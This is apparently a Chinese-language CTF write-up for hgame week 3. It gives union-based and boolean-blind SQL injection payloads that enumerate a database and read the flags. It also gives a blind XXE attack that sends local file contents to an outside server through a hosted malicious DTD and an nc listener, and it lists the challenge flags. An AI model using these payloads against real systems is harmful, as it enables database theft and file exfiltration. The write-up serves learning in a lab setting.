week3_wp

送分的SQLi

这题就是非常简单的SQL注入题，什么过滤都没有就是简单的有回显数字型SQL注入。
所以我们可以直接构造union注入就可以完成所有操作

```
/*库名*/
id=1 union select database(),1
/*表名*/
id=1 union select table_name,1 from information_schema.tables where
table_schema='week3_sqliiii2'
/*列名*/
id=1 union select column_name,1 from information_schema.columns where
table_name='f111aa4g'
/*得到flag*/
id=1 union select 1,f111aaaggg_w3 from f111aa4g
```

得到flag:**hgame{Th3_e4sist_sql_injeCti0n##}**

简单的SQLi

由于赶时间的原因，狗出题人没有写脚本，只提供本题的做法，验证码也用一些肮脏的手段获取了。
从题目中只能得到query ok和query error我们其实就可以得到flag

```
/*库名*/
id=1' and left(database(),1)='w'--+
/*表名*/
id=1' and left((select table_name from information_schema.tables where
table_schema='week3_sqli1' limit 0,1),1)='u'--+
/*列名*/
id=1' and left((select column_name from information_schema.columns where
table_name='w3_fllllllll4ag' limit 0,1),1)='d'--+
```

```
/*flag*/
id=1' and left((select f111144g_w3_sqli1 from w3_fllllllll4ag limit
1),6)='hgame{'--+
```

最终获得flag:**hgame{sql_Injection_s000oo_fun}**

**书屋

我说一句很重要话，这是javaweb题，口口泥们不要使用php伪协议去读文件，吼不吼QAQ
首先我们可以看到index.jsp下方的提示是提交一段base64后的xml。所以我们首先构造一段任意xml，试试水

```
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///a/b">
]>
<root>&file;</root>
```

然后我们可以看到一段<script>的弹框：我就看看你发的而已又没说要发出来0v0
既然没有回显我们就试一下不回显的方式，在服务器上**nc -lvv 800**：

```
<?xml version="1.0"?>
<!DOCTYPE  ANY[
<!ENTITY % file SYSTEM "http://118.25.18.223:800/?123456">
%file;
]>
```

ojbk，服务器能获得信息，然后我们在服务器上放置一个恶意dtd文件：

```
<!--evil-->
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://118.25.18.223:800/?
a=%file;'>">
%all;
```

接着在构造一段payload：

```
<?xml version="1.0"?>
<!DOCTYPE  ANY[
<!ENTITY % file SYSTEM "file:///a/b">
<!ENTITY % remote SYSTEM "http://118.25.18.223:10001/evil">
%remote;
%send;
]>
```

nbsp;

接着我们就能获得我们的flag啦~flag:**hgame{Xxe_v3ry_funny!!!!}**